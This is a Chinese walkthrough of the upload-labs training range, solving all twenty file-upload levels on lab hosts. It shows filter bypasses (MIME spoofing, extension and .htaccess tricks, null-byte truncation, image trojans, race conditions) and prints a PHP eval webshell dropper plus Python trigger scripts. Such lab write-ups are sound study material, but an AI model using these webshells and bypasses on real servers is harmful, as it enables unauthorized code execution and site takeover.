buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

简介

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第一关

根据直接上传php木马,发现前端报错:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

【方法一】打开浏览器检查功能,关闭js加载,即可绕过限制

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

【方法二】通过Burp Suit 进行抓包改后缀名,绕过前端的JS检校。

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

打开burp 对后缀进行修改,改成原来的php

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

成功上传,我们链接蚁剑测试

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

成功

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第二关

首先我们还是直接上传我们的webshell.php,看看有什么提示

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

打开burp 我通过上传shell.php文件发现提示:文件类型不正确,请重新上传!,可以判断该pass是检查的文件的MIME类型。

【方法一】

利用Burp Suit修改成允许的MIME类型进行文件上传采用image/jpeg、image/png的MIME类型:

上传.php后缀的文件,修改请求包内容内的Content-Type,将application/octet-stream修改为image/png或者image/jpeg即可上传成功。

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

【方法二】同第一关方法二

使用蚁剑进行连接,完美。

第三关

还是老操作,直接上传咱webshell.php,提示不能上传后缀为这些的文件

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

发现是黑名单拦截,我们使用php3,phtml进行绕过

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

完美上传,我们继续下一关

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

直接使用蚁剑访问就行

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第四关

依旧提示文件类型不允许上传,盲猜依旧是黑名单拦截,我们看一下源码

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

但几乎过滤了所有有问题的后缀名,除了.htaccess,于是首先上传一个.htaccess内容如下的文件:

SetHandler application/x-httpd-php
buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

这样所有文件都会解析为php,然后再上传图片马,就可以解析:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

我们还是用蚁剑访问一下试试,完美

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第五关

咱们照旧还是直接提交webshell.php文件测试,提示不允许类型,盲猜还是黑名单,并且这次也拦截了.htaccess文件我们看一下源码

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

通过查看源码,我们发现并没有对后缀大小写进行明确的锁定,因此我们可以借此绕过

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

然后我们用检查工具,查看上传的名字

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

因为这次使用的是info.php,方便查看,蚁剑有点慢,我们直接访问

http://0c453129-6bb7-42d8-9461-5eed4c359c3e.node4.buuoj.cn:81/upload/202203011332464375.phP,查看 成功

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第六关

直接上传info.php,依旧报不允许上传文件类型,不用猜还是黑名单,查看源码,不仅拦截了大部分后缀,大小写也拦截了

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

不过我们可以通过%00或者0x00来绕过。即对后缀名进行去空处理,可在后缀名中加空绕过:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

访问成功

第七关

通过查看源码,我们发现还是黑名单,但是没有对后缀名进行去”.”处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

打开burp,对文件进行修改

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

用检查工具获取文件名,成功访问

 buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册
buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第八关

查看源码:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

还是黑名单,但是没有对后缀名进行去”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

成功

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第九关

查看源码

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

黑名单过滤,注意第15行和之前不太一样,路径拼接的是处理后的文件名,于是构造info.php. . (点+空格+点),经过处理后,文件名变成info.php.,即可绕过。

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

成功上传。

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第十关

查看源代码:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

依旧是黑名单过滤,注意到,这里是将问题后缀名替换为空,于是可以利用双写绕过:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

利用检查,成功上传

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第十一关

查看源码:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

看到是白名单判断,但是$img_path直接拼接,因此可以利用%00截断绕过:

这里我们用00截断,要求是php版本低于或等于5.3.4
这一关上传目录是可控的,所以可以先上传一个后缀名为.jpg,然后修改上传目录为.php后缀,之后在.php后使用截断后面的拼接内容

注意这里的00字符因为在url的GET参数中,所以需用进行url编码

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

成功上传

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第十二关

查看源码:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

和十一关不同的是这次的save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册
buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

成功上传

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第十三关

本关要求上传图片马即可,查看代码:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

通过读文件的前2个字节判断文件类型,因此直接上传图片马即可,制作方法:
copy normal.jpg /b + shell.php /a webshell.jpg

生成的木马

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

上传成功

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第十四关

查看源码:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

这里用getimagesize获取文件类型,还是直接就可以利用图片马就可进行绕过:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第十五关

本关还是要上传一个图片马,查看代码:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

这里用到php_exif模块来判断文件类型,还是直接就可以利用图片马就可进行绕过:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

在这里使用的就是头部检测策略,
所以,我们还有个方法,就是把php马用记事本打开,开头加上gif的文件头GIF89a,在把后缀改为gif。这里就不演示了。

第十六关

本关还是要上传一个图片马,查看代码:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

本关综合判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,绕过方法:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromxxx判断是否为相应格式的图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接。

这里用到的工具是:010Editor

它能够以16进制打开各种文件,然后对文件进行编辑,还能够在上面运行脚本,文件比较等等。

思路:二次渲染会对图片特定地方进行重写,按照标准格式进行存储,先上传一张正常gif然后下载上传完毕后的图片,作对比,在即使经过二次渲染也没有改变的地方植入木马,最后文件包含执行。

顺带一提,这里推荐使用gif格式进行,gif图片的特点是无损。

首先用上传前和上传后的图片进行比较,然后选中上传后未被改变的位置插入木马:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

保存后上传并解析:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

解析内容明显发生了变化。
最后蚁剑连接:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第十七关

本关考察的是条件竞争,查看代码:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

代码大概含义就是,对上传的文件首先进行白名单比对,如果是规定的格式,那么就重命名后储存,如果是其他文件就进行删除操作,也就是unlink() 函数。

所以事实上你仍然可以使用之前的图片木马的方式完成本题,但是这里主要考察的是条件竞争,我们可以用其他方法来完成本题。

条件竞争具有一定的实战意义,由于实际情况下的网站很难给你文件包含的机会,也就是说,你很难对图片进行解析来获得权限。并且普通的php几乎不允许上传。

这里的关键就在于对非法文件进行了删除操作,服务器对文件的读取和删除包括代码执行都需要时间,在这一小段时间内,文件仍然存在于服务器上,你就可以进行触发等操作。

使用的脚本更改为:

<?php fputs(fopen(\'bin.php\',\'w\'),\'<?php @eval($_POST[\"muhan\"])?>\');?>

也就是一旦触发这个脚本就会在当前目录下新建一个shell.php

并且这里是不需要文件包含漏洞来触发的,只要前端访问到即可。

或许你会奇怪为什么同样是文件,这里就不需要文件包含漏洞了呢?
这是因为当上传图片马时,仅在前端访问仍然是一张图,会以图片形式打开,并不能解析代码。就像我们直接上传php代码文件是可以直接连接,当在前端打开也会以代码形式解析,所以这里当我们请求到php代码时就会解析文件,从而产生新的木马。

具体步骤:
首先,上传php文件然后bp拦截下来,送至爆破模块。

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册
buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

点击”clear”清除爆破点

改成空payload

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

将线程提高至20,开始爆破,并用python脚本触发

python脚本:

import requests
url = \"http://e7e14784-7b91-4dc2-b197-556f131deb9a.node4.buuoj.cn:81/upload/newshell.php\"#换上你自己的网址
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print(\"OK\")
        break
    else:
        print(\'no\')
buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

最后出现ok之后,实用蚁剑链接即可

第十八关

同样是条件竞争
从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。所以不能直接上传php文件了。

那么就是图片木马,然后利用文件包含漏洞解析

在上传重命名之前能够在文件包含中进行触发。

bp操作没有太大区别,同样是空payload不断发包。

要修改一下脚本:

import requests
url = \"http://xxx.xxx.xxx.xx/upload-labs/include.php?file=upload/pass19.png\"
while True:
    html = requests.get(url)
    if ( \'Warning\'  not in  str(html.text)):
        print(\'ok\')
        break

第十九关

查看提示:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /. 其实也就是00截断,点在16进制就是00咯

最后在处理文件路径时是加上用户输入的文件名,所以其实也算是文件路径可控

先准备PHP一句话木马,并把后缀名改为PNG再上传,思路和之前00截断相同,虽然是png但是以php形式储存。
所以你既可以直接使用点,也可以在16进制中改为00

或者还有简单的方法,将保存文件名称改为PHP依然可以绕过

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

成功链接蚁剑

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第二十关

打开最后一关,不免有些激动。靶场终于要通关啦。先看看提示

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

依然是依靠代码审计找出漏洞,那么看看源码吧

$is_upload = false;
$msg = null;
if(!empty($_FILES[\'upload_file\'])){
    //检查MIME
    $allow_type = array(\'image/jpeg\',\'image/png\',\'image/gif\');
    if(!in_array($_FILES[\'upload_file\'][\'type\'],$allow_type)){
        $msg = \"禁止上传该类型文件!\";
    }else{
        //检查文件名
        $file = empty($_POST[\'save_name\']) ? $_FILES[\'upload_file\'][\'name\'] : $_POST[\'save_name\'];
        if (!is_array($file)) {
            $file = explode(\'.\', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array(\'jpg\',\'png\',\'gif\');
        if (!in_array($ext, $allow_suffix)) {
            $msg = \"禁止上传该后缀文件!\";
        }else{
            $file_name = reset($file) . \'.\' . $file[count($file) - 1];
            $temp_file = $_FILES[\'upload_file\'][\'tmp_name\'];
            $img_path = UPLOAD_PATH . \'/\' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = \"文件上传成功!\";
                $is_upload = true;
            } else {
                $msg = \"文件上传失败!\";
            }
        }
    }
}else{
    $msg = \"请选择要上传的文件!\";
}

相比较于上一关的源码,此处服务器端先是检查了MIME类型,然后判断save_name参数是否为空,为空就把文件本来名称赋值给$file,否则就是将save_name参数的值赋给它。紧接着判断$file是否是数组

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

如果不是数组则将其拆成数组,然后数组最后一个的值(end函数就是取数组最后一个的值)同白名单做比较,符合jpg、png、gif中的一种就允许上传了。

在允许上传之后还要把数组的值拼接在一起对文件进行重命名。

所以我们可以构造save_name[0]=webshell.php/ save_name[1]置为空 save_name[2]=jpg(一个白名单的合法后缀)。

这样的话,reset($file)取的是数组的第一个元素即webshell.php/,然后接了一个’.’符号,之后又将数组最后一个元素内容拼接到一起。

可能有的人会疑问数组最后一个值不是jpg吗?其实当我们只设置了两个数组元素的时候,数组的元素个数就只有两个了。

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

既然一共只有两个元素,这里就是$file[2-1]也就是$file[1]。因此拼接的就是空的,最终得到的文件名就是webshell.php/.。

对于像cs.php/.这样的文件路径,move_uploaded_file()函数会忽略掉文件末尾的/.。如此一来我们上传到服务器的文件还是被重命名为了php后缀。

第一步:上传文件,抓包修改参数

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第二步:放行数据包,查看是否成功上传

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

根据网页的回显是成功上传到服务器了。链接蚁剑成功

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

总结:
对于upload-labs靶场的文章到此就结束了,但是对于文件上传漏洞的学习还未终止。靶场只是给我们提供了一些不错的绕过思路,但是在实际的应用环境中,肯定会遇到更加全面的防御。在渗透测试过程中就要善于思考,结合其他漏洞一起突破。万万不能被局限了创新。如果觉得本次系列文章还不错,请点点赞。

相关阅读:常规上传漏洞原理讲解

【网安笔记】文件上传漏洞总结-安全小天地
【网安笔记】文件上传漏洞总结-安全小天地
【网安笔记】文件上传漏洞总结
沐寒的头像-安全小天地大咖2022年2月28日 17:50

027013

------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞5 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容